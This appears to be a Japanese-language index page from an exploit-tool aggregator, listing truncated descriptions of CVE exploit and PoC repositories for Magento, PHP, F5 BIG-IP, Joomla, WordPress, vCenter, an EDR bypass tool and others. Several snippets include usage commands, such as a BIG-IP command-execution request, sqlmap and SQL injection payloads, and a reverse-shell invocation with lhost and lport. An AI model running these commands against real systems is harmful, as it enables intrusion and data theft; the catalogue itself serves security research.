CVE-2024-34102

CVE-2024-34102 - CosmicSting XXE エクスプロイト CVE-2024-34102 CosmicSting のエクスプロイト - Adobe Commerce および Magento の XML 外部実体 XXE 脆弱性。 📋 脆弱性について CVE-2024-34102 は、以下に影響を与える重大な XXE XML 外部実体 脆弱性です: Adobe Commerce バージョン 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 およびそれ以前 Magento Open Source 同じバージョン...

PHP_8.1.x_Exploit

🚀 PHP CVE オートパイロット 影響を受けるPHPの重大な脆弱性（CVE-2024-4577 バイパス、CVE-2025-14177、CVE-2025-14180、CVE-2025-14178）の自動検出および自動悪用 PHP8.1.xExploit.sh は、シングルファイル・ゼロ設定 のセキュリティ評価ツールで、脆弱なPHPエンドポイントを自動的に発見し、2024年12月にリリースされたPHP 8.1.34 より前のバージョン に影響する4件の影響度の高いCVE を自動的に悪用します。手動によるペイロード作成は不要...

CVE-2022-40684

CVE-2022-40684 法令遵守： 全ての個人及び組織は、ネットワークを利用する際、憲法及び法律を遵守し、公共の秩序を守り、社会の道徳を尊重し、ネットワークの安全を害してはならず、ネットワークを利用して国家安全、栄誉及び利益を害する行為を行ってはならない。 脆弱性の概要：...

monitorr-exploit-toolkit

Monitorr エクスプロイトツールキット RCE は 安全でないファイルアップロード によるもの（PHP リバースシェル、ウェブシェルなど） 管理者アカウント作成 は 認証バイパス によるもの 技術情報の漏えい : Monitorr バージョン、PHP バージョン、システムバージョンとカーネル、PHP 設定など エクスプロイト対象: CVE-2020-28872 および CVE-2020-28871。 PacketStorm 使い方 root@kitploit: $ ruby exploit.rb -h Monitorr-Exploit Usage: exploit.rb uploa...

LearnDash

LearnDash Sqli LearnDash = 4.25.6 - Admin+ SQL インジェクション 説明 4.25.6 未満の LearnDash WordPress プラグインには、Admin+ SQL インジェクションの脆弱性があります。 詳細 タイプ : プラグイン スラッグ : sfwd-lms 影響を受けるバージョン : CVSS スコア : 9.8 CVSS 評価 : Critical CVSS ベクター : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H POC root@kitploit: sqlmap -u...

POC_CVE-2025-69194

CVE-2025-69194: GNU Wget2 パストラバーサルの脆弱性 📝 説明 CVE-2025-69194 のPoCです。これはGNU Wget2 = 2.2.0（v1.99.1で確認済み）における深刻なパストラバーサル脆弱性です。この脆弱性により、攻撃者は悪意のあるMetalinkファイルに細工されたfile name属性を仕込むことで、被害者のファイルシステム上で任意のファイル書き込みまたは上書きを実現できます。...

WordPress-XStore-theme-SQL-Injection

WordPress-XStore-theme-SQL-Injection CVE-2024-33559 XStore theme-SQL Injection CVE-2024-33551は、WordPress上に構築されたeコマースプラットフォームである8theme XStoreに見つかったSQLインジェクションの脆弱性です。この脆弱性により、攻撃者はデータベース上で悪意のあるSQLコマンドを実行でき、データの窃取、削除、さらには改ざんにつながる可能性があります。 Poc root@kitploit: POST /?s=%27%3B+SELECT++FROM+wpposts%3B+--...

CVE-2026-32136_exploit

CVE-2026-32136exploit - AdGuard Home h2c アップグレード認証バイパス AdGuard Home port path デフォルト: port=80、path=/control/filtering/status。 実行例 root@kitploit: $ python3 CVE-2026-32136.py 192.168.1.5 8...

CVE-2025-11986

1 制限付きページから公開cryptoajax nonceを抽出する root@kitploit: UA='Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:127.0 Gecko/20100101 Firefox/127.0' NONCE=$curl -s "http://localhost/wordpress/" -A "$UA" | \ perl -0777 -ne 'print "$1\n" if /cryptoconnectChainAjax\s=\s^"nonce"\s:\s"^"+"/s' Fallback extraction...

EDRSandblast-GodFault

EDRSandblast-GodFault Gabriel Landau 제작, Elastic Security 소속. EDRSandblast의 수정 버전 - 아래 원본 README를 참조하세요. GodFault를 EDR Sandblast에 통합하여, 취약한 드라이버를 사용하지 않고 동일한 결과를 달성합니다. 예제 출력 C:\Users\user\Desktop\OffsetsEDRSandblast.exe --kernelmode cmd | | | \ /| | | | | | | | | | | | | | | | | | | | | | | | | ...

CVE-2023-28432

CVE-2023-28432 MiniO verify インターフェースの機密情報漏洩脆弱性 CVE-2023-28432 日本語名: MinIO verify インターフェースの機密情報漏洩脆弱性（CVE-2023-28432） 説明 : MinIOは、Amazon S3...

CVE-2018-11686

CVE-2018-11686 CVE-2018-11686 - FlexPaper PHP Publish Service RCE = 2.3.6 found by Red Timmy Security 技術的分析: https://www.exploit-db.com/docs/english/46521-flexpaper-=-2.3.6-remote-code-execution-whitepaper.pdf セキュリティアドバイザリ: 不明 概念実証: 1. 設定ファイルの削除 FlexPaper（PHP）の changeconfig.php...

CVE-2021-25094-tatsu-preauth-rce

Tatsu Builder WordPressプラグインにおける事前認証RCE CVE-2021-25094 Tatsu Builder 3.3.11以前の未認証RCEの簡単なPoCです。例として提供します。 詳細な解説はこちら: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ 使用方法: root@kitploit: python3 exploit-rce.py -h --technique TECHNIQUE --customShell CUSTOMSHELL --keep KEEP...

CVE-2021-22006

CVE-2021-22005 - VMWare vCenter Server ファイルアップロードからRCE 分析 使用方法 root@kitploit: ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky6861636b Author: r0cky...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 の確認とエクスプロイト インストール: root@kitploit: python3 -m pip install -r requirements.txt 使い方 単一ターゲット: root@kitploit: python3 cve.py s fullurl apicommand 例 python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 複数ターゲット: root@kitploit:...

am335xbootrom

AM335x ブートROMのリバースエンジニアリング 私が初めて何枚かのBeaglebone...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution 影響範囲：3.0.0-3.4.6 1、脆弱性の検証 python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 「Vulnerable」と表示されれば、脆弱性が存在することが証明されます python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 実行に成功...

android-classyshark

ClassyShark 소개 ClassyShark는 Android 개발자를 위한 독립형 바이너리 검사 도구입니다. 모든 Android 실행 파일을 안정적으로 탐색하고 클래스 인터페이스 및 멤버, 덱스 카운트 및 종속성과 같은 중요한 정보를 보여줍니다. ClassyShark는 라이브러리.dex, .aar, .so, 실행 파일.apk, .jar, .class 및 모든 Android 바이너리 XMLAndroidManifest, resources, layouts 등을 포함한 여러 형식을 지원합니다. 유용한 링크 사용자 가이드 명령줄 참...

rails-exploit-cve-2013-0156

== Rails PoC exploits for CVE-2013-0156 and CVE-2013-0155 リモートコード実行エクスプロイトを用いたRails 3.2.10アプリケーションをブートストラップしました。 Ref: https://github.com/ronin-ruby/ronin-ruby.github.com/blob/rails-pocs/blog/posts/2013-01-09-rails-pocs.md === セットアップ gem 依存関係をインストールし、ポート3002でアプリを起動します。 $ bundle install $ rake...

domain-to-webapp

domain-to-webapp 도메인 내에서 호스팅되는 웹 애플리케이션을 찾기 위한 간단한 bash 스크립트 요구 사항 curl Subfinder 도커 이미지 사용법 root@kitploit: $./webAppChecker businesssolutions.com ./ouputdir ./scope.txt | \ | | \ \ / /| | / \ | | | |/ | ' \ / | | ' \ | / \ \ \ /\ / / \ ' \ / \ | ' | ' \ | || | | | | | | | | | | | | | | || | \ V...